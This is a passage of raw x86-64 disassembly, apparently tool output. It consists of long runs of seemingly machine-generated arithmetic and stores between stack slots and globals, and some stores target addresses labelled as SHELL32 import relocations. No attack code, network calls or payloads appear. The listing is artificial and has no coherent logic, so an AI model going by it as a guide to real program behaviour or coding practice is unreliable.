mov dword [rsp + 0x6a60], eax
movzx eax, word [rsp + 0x190c]
mov word [rsp + 0x1bec], ax
mov rax, qword [rsp + 0xcaa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
add eax, ecx
mov byte [0x1402c7513], al
movzx eax, word [rsp + 0x1ae0]
mov rcx, qword [rsp + 0xd568]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15ac], ax
mov rax, qword [rsp + 0xc728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a40]
shl eax, cl
mov word [rsp + 0x19a0], ax
mov rax, qword [rsp + 0xe3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20f], al
mov rax, qword [rsp + 0xe548]
movzx ecx, al
mov rax, qword [rsp + 0xc690]
sar rax, cl
mov rcx, qword [rsp + 0xcc80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd520]
mov eax, dword [rax]
mov dword [rsp + 0x6fc8], eax
mov eax, dword [rsp + 0x6f78]
mov ecx, dword [rsp + 0x6a90]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd470]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc130]
mov qword [rcx], rax
lea rax, [rsp + 0x1b9c]
mov qword [rsp + 0xef68], rax
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcac0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [reloc.SHELL32.dll_SHDefExtractIconW], al
mov rax, qword [rsp + 0xe3c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
imul eax, ecx
mov rcx, qword [rsp + 0xcc08]
mov byte [rcx], al
lea rax, [rsp + 0x1920]
mov qword [rsp + 0xef70], rax
movsx eax, byte [rsp + 0x1d5]
mov rcx, qword [rsp + 0xcbf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd020]
mov byte [rcx], al
mov rax, qword [rsp + 0xe8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc030]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd420]
mov word [rcx], ax
mov eax, dword [rsp + 0x6b5c]
mov dword [rsp + 0x6fcc], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdde8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd730], rax
lea rax, [rsp + 0x6be0]
mov qword [rsp + 0xef78], rax
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xe648]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc0b0], rax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [0x1402c92c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILIsParent], al
lea rax, [rsp + 0x1780]
mov qword [rsp + 0xef80], rax
movzx eax, byte [rsp + 0x1c9]
mov rcx, qword [rsp + 0xdf30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
mov rax, qword [rsp + 0xe2d0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0x93]
mov byte [rsp + 0x210], al
mov rax, qword [rsp + 0xc8b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0xddf0]
mov eax, dword [rax]
mov dword [rsp + 0x6fd0], eax
mov rax, qword [rsp + 0xe8c8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6c4c]
mov rcx, qword [rsp + 0xc2f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe238]
mov rcx, qword [rsp + 0xe918]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd4f0], rax
mov rax, qword [0x1402c91d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe550]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c75d4], ax
mov rax, qword [rsp + 0xe1b8]
movzx eax, word [rax]
mov word [rsp + 0x1bf0], ax
movsx eax, word [rsp + 0x18b0]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1af4], ax
lea rax, [0x1402c74d7]
mov qword [rsp + 0xef88], rax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0xe208]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1d6], al
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc900]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc500], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xef90], rax
mov rax, qword [rsp + 0xe228]
mov ecx, dword [rsp + 0x6d0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cac], eax
mov rax, qword [rsp + 0xdda8]
mov rax, qword [rax]
mov qword [rsp + 0xef98], rax
lea rax, [0x1402c751b]
mov qword [0x1402c9758], rax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcb40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f0], al
mov rax, qword [rsp + 0xd5a8]
movzx eax, word [rax]
mov word [rsp + 0x1bf4], ax
movzx eax, word [rsp + 0x1b94]
mov rcx, qword [0x1402c9188]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bc0], ax
movsx eax, word [rsp + 0x1a38]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15c4], ax
lea rax, [rsp + 0xd2a0]
mov qword [rsp + 0xefa0], rax
mov rax, qword [rsp + 0xc510]
mov rcx, qword [rsp + 0xc060]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda20], rax
lea rax, [rsp + 0x6a24]
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rsp + 0x6f10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcd30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe4b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1708]
sub eax, ecx
mov word [0x1402c74a8], ax
mov rax, qword [rsp + 0xc798]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1920]
add eax, ecx
mov rcx, qword [rsp + 0xcbe8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d8]
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0xecb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xee00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe928]
mov byte [rcx], al
lea rax, [rsp + 0x186]
mov qword [rsp + 0xefb0], rax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe3b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd658]
mov rcx, qword [rsp + 0xc6e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd0d8], rax
mov eax, dword [rsp + 0x6f3c]
mov dword [rsp + 0x6fd4], eax
mov rax, qword [rsp + 0xdd90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe9b8]
mov qword [rsp + 0xefb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6a9c], eax
movzx eax, byte [rsp + 0x1c4]
mov byte [0x1402c9146], al
lea rax, [rsp + 0x18d8]
mov qword [rsp + 0xefc0], rax
movzx eax, byte [rsp + 0x186]
movzx ecx, byte [rsp + 0x11d]
sar eax, cl
mov byte [rsp + 0x5c], al
movsx eax, word [rsp + 0x15f4]
movsx ecx, word [rsp + 0x1804]
or eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
lea rax, [rsp + 0x16b0]
mov qword [rsp + 0xefc8], rax
mov rax, qword [rsp + 0xd8d8]
mov ecx, dword [rsp + 0x6cd4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd3f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe0f8]
mov qword [rsp + 0xefd0], rax
mov rax, qword [rsp + 0xde78]
mov ecx, dword [0x1402c7498]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6c58], eax
lea rax, [rsp + 0xe3b0]
mov qword [rsp + 0xefd8], rax
mov rax, qword [rsp + 0xead0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74ae], al
mov rax, qword [rsp + 0xc3a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19c8], ax
movsx eax, word [rsp + 0x15d4]
movsx ecx, word [rsp + 0x17d4]
and eax, ecx
mov word [rsp + 0x16e8], ax
lea rax, [rsp + 0xa7]
mov qword [rsp + 0xefe0], rax
mov rax, qword [rsp + 0xe9c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x6e20]
mov qword [rsp + 0xefe8], rax
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xc858]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc028]
mov rcx, qword [rsp + 0xd750]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xef48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd6a8]
mov eax, dword [rax]
mov dword [rsp + 0x6fd8], eax
mov rax, qword [rsp + 0xd1f8]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c7543], al
movzx eax, word [rsp + 0x1620]
movzx ecx, word [rsp + 0x1738]
add eax, ecx
mov word [rsp + 0x1624], ax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x212], al
movsx eax, word [rsp + 0x1b5c]
movsx ecx, word [rsp + 0x15f8]
shl eax, cl
mov word [rsp + 0x1a80], ax
mov rax, qword [rsp + 0xc030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1aa8]
xor eax, ecx
mov rcx, qword [rsp + 0xd388]
mov word [rcx], ax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov dword [rsp + 0x6fdc], eax
mov rax, qword [rsp + 0xd310]
mov rcx, qword [rsp + 0xe098]
mov qword [rsp + 0xeff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeff0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xebb8], rax
lea rax, [rsp + 0x6a28]
mov qword [rsp + 0xeff8], rax
mov rax, qword [rsp + 0xd210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xee20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcae8], rax
lea rax, [rsp + 0x172]
mov qword [rsp + 0xf000], rax
mov rax, qword [rsp + 0xc5c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16a8]
and eax, ecx
mov word [0x1402c753c], ax
movzx eax, word [rsp + 0x1618]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1610], ax
movzx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d8], al
lea rax, [rsp + 0x1e6]
mov qword [rsp + 0xf008], rax
mov rax, qword [rsp + 0xe020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd598]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd458], rax
lea rax, [rsp + 0x6cdc]
mov qword [rsp + 0xf010], rax
mov eax, dword [rsp + 0x6e10]
mov ecx, dword [rsp + 0x6b44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd50]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc700]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc730], rax
lea rax, [rsp + 0x1b30]
mov qword [rsp + 0xf018], rax
movzx eax, word [rsp + 0x1958]
movzx ecx, word [rsp + 0x1a84]
imul eax, ecx
mov word [0x1402c7600], ax
mov rax, qword [rsp + 0xe068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe0d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1818], ax
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0xe780]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
add eax, ecx
mov rcx, qword [rsp + 0xc208]
mov word [rcx], ax
mov rax, qword [rsp + 0xe9c8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda28], rax
mov rax, qword [rsp + 0xdcb8]
mov qword [rsp + 0xf020], rax
mov rax, qword [rsp + 0xe3f0]
mov ecx, dword [rsp + 0x6bbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc090]
mov dword [rcx], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xf028], rax
mov rax, qword [rsp + 0xd490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
sar eax, cl
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0xc578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1402c9730]
mov word [rcx], ax
mov rax, qword [0x1402c9660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19b8]
shl eax, cl
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0xdda0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd2f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e3], al
lea rax, [0x1402c7498]
mov qword [rsp + 0xf030], rax
mov rax, qword [rsp + 0xe2c0]
mov rcx, qword [rsp + 0xe770]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd708]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov qword [rsp + 0xf038], rax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xe558]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xddc0], rax
movsx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0xc8c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd3c8]
mov word [rcx], ax
lea rax, [rsp + 0x1ba]
mov qword [0x1402c9760], rax
lea rax, [rsp + 0x1790]
mov qword [rsp + 0xf040], rax
movzx eax, byte [reloc.SHELL32.dll_ILGetNext]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0xd378]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11e]
mov byte [rsp + 0x215], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [0x1402c9690]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc618]
mov byte [rcx], al
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xe048]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xdc58]
mov eax, dword [rax]
mov dword [rsp + 0x6fe0], eax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6e0c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xea60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4c0]
mov qword [rsp + 0xf048], rax
movsx eax, word [rsp + 0x1b0c]
movsx ecx, word [rsp + 0x194c]
sub eax, ecx
mov rcx, qword [0x1402c91b8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1810]
mov rcx, qword [0x1402c9110]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd110]
mov word [rcx], ax
mov rax, qword [rsp + 0xccb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdc78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe410]
mov byte [rcx], al
mov rax, qword [rsp + 0xc2b8]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
movsx eax, word [rsp + 0x1af8]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x18e4], ax
lea rax, [rsp + 0xc9f8]
mov qword [rsp + 0xf050], rax
mov rax, qword [rsp + 0xe128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe4b8]
mov qword [rsp + 0xf058], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf058]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xed98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdc58]
mov qword [rsp + 0xf060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf060]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6a18], eax
lea rax, [rsp + 0x6d6c]
mov qword [rsp + 0xf068], rax
movzx eax, byte [rsp + 0xff]
movzx ecx, byte [rsp + 0x181]
xor eax, ecx
mov byte [0x1402c752f], al
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x181c], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0xf070], rax
mov rax, qword [rsp + 0xe218]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xde68]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x174c], ax
lea rax, [0x1402c74cb]
mov qword [rsp + 0xf078], rax
mov rax, qword [rsp + 0xda28]
mov rcx, qword [rsp + 0xd390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xc138]
mov ecx, dword [rsp + 0x6fb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xde78]
mov dword [rcx], eax
lea rax, [rsp + 0xcc60]
mov qword [rsp + 0xf080], rax
mov eax, dword [rsp + 0x6e48]
mov ecx, dword [rsp + 0x6a08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc090]
mov dword [rcx], eax
lea rax, [rsp + 0x17c8]
mov qword [0x1402c9768], rax
mov rax, qword [0x1402c9600]
movzx eax, word [rax]
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xd228]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc818]
mov byte [rcx], al
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
lea rax, [rsp + 0x16a4]
mov qword [rsp + 0xf088], rax
mov rax, qword [rsp + 0xe760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd730]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdcb0]
mov qword [rcx], rax
lea rax, [rsp + 0x6b2c]
mov qword [rsp + 0xf090], rax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xcc60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2e8], rax
mov eax, dword [rsp + 0x6980]
mov ecx, dword [rsp + 0x6ecc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f68], eax
mov rax, qword [rsp + 0xe2d0]
movzx eax, byte [rax]
mov byte [0x1402c9147], al
movzx eax, byte [rsp + 0x201]
mov byte [rsp + 0x217], al
movsx eax, word [0x1402c74f8]
mov rcx, qword [rsp + 0xd418]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16ac], ax
movzx eax, word [rsp + 0x1634]
mov word [rsp + 0x1bfc], ax
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0xe958]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x6fe4], eax
mov rax, qword [rsp + 0xeba8]
mov rcx, qword [rsp + 0xecc8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xefd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ba0]
movzx ecx, al
mov eax, dword [rsp + 0x6a58]
sar eax, cl
mov dword [rsp + 0x6bf0], eax
mov rax, qword [rsp + 0xef10]
mov qword [rsp + 0xf098], rax
movzx eax, word [rsp + 0x1af0]
movzx ecx, word [rsp + 0x18e8]
sub eax, ecx
mov rcx, qword [0x1402c9150]
mov word [rcx], ax
movsx eax, word [rsp + 0x15c0]
movsx ecx, word [rsp + 0x1afc]
and eax, ecx
mov word [rsp + 0x15e8], ax
movzx eax, word [rsp + 0x1bac]
mov word [rsp + 0x1c00], ax
mov rax, qword [rsp + 0xc9a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0x191], al
mov rax, qword [rsp + 0xc2f0]
movsx eax, word [rax]
mov rcx, qword [0x1402c9710]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x156c], ax
lea rax, [rsp + 0x6d14]
mov qword [rsp + 0xf0a0], rax
mov eax, dword [rsp + 0x6ad4]
mov ecx, dword [rsp + 0x6d28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe228]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3f0]
mov rax, qword [rax]
mov qword [rsp + 0xf0a8], rax
mov rax, qword [rsp + 0xcb28]
mov rcx, qword [rsp + 0xdd38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe348], rax
mov rax, qword [rsp + 0xe5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [0x1402c7546], al
movzx eax, word [0x1402c75b0]
movzx ecx, word [rsp + 0x17cc]
sub eax, ecx
mov rcx, qword [rsp + 0xda48]
mov word [rcx], ax
lea rax, [rsp + 0x104]
mov qword [rsp + 0xf0b0], rax
mov rax, qword [rsp + 0xc6d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xee88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf3], al
mov rax, qword [0x1402c93d8]
movzx eax, word [rax]
mov word [rsp + 0x1c04], ax
mov rax, qword [rsp + 0xe9d8]
mov rcx, qword [rsp + 0xbf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6cc8], eax
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdb8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc920]
mov qword [rcx], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xf0b8], rax
mov rax, qword [rsp + 0xc2a8]
movzx ecx, al
mov rax, qword [rsp + 0xc5c0]
shl rax, cl
mov qword [rsp + 0xe938], rax
movsx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0xc9a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c90b3], al
lea rax, [0x1402c9124]
mov qword [rsp + 0xf0c0], rax
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
xor eax, ecx
mov byte [rsp + 0xf0], al
movzx eax, word [rsp + 0x1bdc]
mov word [rsp + 0x1c08], ax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1b58]
sub eax, ecx
mov rcx, qword [rsp + 0xbf88]
mov word [rcx], ax
mov rax, qword [rsp + 0xded0]
mov rcx, qword [rsp + 0xed60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdcc8], rax
mov eax, dword [rsp + 0x6dbc]
mov dword [rsp + 0x6fe8], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xeba8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe4a8]
mov eax, dword [rax]
mov dword [rsp + 0x6fec], eax
movzx eax, word [rsp + 0x1bd0]
mov rcx, qword [rsp + 0xed38]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xc680]
mov word [rcx], ax
movsx eax, word [0x1402c75e0]
movsx ecx, word [rsp + 0x18e4]
add eax, ecx
mov rcx, qword [0x1402c95a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcbf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x203], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov byte [rsp + 0x218], al
movsx eax, word [rsp + 0x1aec]
movsx ecx, word [rsp + 0x1b28]
add eax, ecx
mov rcx, qword [rsp + 0xe3e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x6ff0], eax
mov rax, qword [rsp + 0xca40]
mov rcx, qword [rsp + 0xbb00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd238]
mov rcx, qword [rsp + 0xcb10]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xead8]
mov qword [rcx], rax
lea rax, [rsp + 0xd600]
mov qword [rsp + 0xf0c8], rax
movsx eax, byte [rsp + 0x14b]
mov rcx, qword [0x1402c92c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xdcd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1704]
sub eax, ecx
mov word [0x1402c7604], ax
lea rax, [rsp + 0x1568]
mov qword [rsp + 0xf0d0], rax
mov rax, qword [rsp + 0xd228]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9620]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
movzx eax, word [rsp + 0x1968]
mov word [rsp + 0x1c0c], ax
mov rax, qword [rsp + 0xd380]
movzx ecx, al
mov rax, qword [rsp + 0xca50]
shl rax, cl
mov qword [rsp + 0xbbf0], rax
mov rax, qword [rsp + 0xef20]
mov ecx, dword [rsp + 0x6c9c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xe470]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdf40]
mov qword [rsp + 0xf0d8], rax
mov rax, qword [rsp + 0xe588]
mov ecx, dword [rsp + 0x69cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b1c], eax
lea rax, [0x1402c90da]
mov qword [rsp + 0xf0e0], rax
mov rax, qword [rsp + 0xe9f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c74ce], al
movsx eax, word [rsp + 0x1c08]
movsx ecx, word [rsp + 0x1864]
and eax, ecx
mov word [rsp + 0x1b20], ax
mov rax, qword [0x1402c92a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd378]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f1], al
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0xdd80]
mov rcx, qword [rsp + 0xe838]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd6e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d00]
mov dword [rsp + 0x6ff4], eax
mov rax, qword [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xdd38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc9f0], rax
mov eax, dword [rsp + 0x6f60]
mov ecx, dword [rsp + 0x6bcc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe880]
movzx eax, word [rax]
mov word [rsp + 0x1c10], ax
lea rax, [rsp + 0x19d4]
mov qword [0x1402c9770], rax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x1ba]
sub eax, ecx
mov rcx, qword [rsp + 0xecc0]
mov byte [rcx], al
movzx eax, word [0x1402c7518]
mov word [rsp + 0x1c14], ax
movsx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0xd540]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x84], al
movzx eax, word [rsp + 0x1594]
movzx ecx, word [rsp + 0x1bf4]
add eax, ecx
mov rcx, qword [rsp + 0xea50]
mov word [rcx], ax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xf0e8], rax
mov rax, qword [rsp + 0xe608]
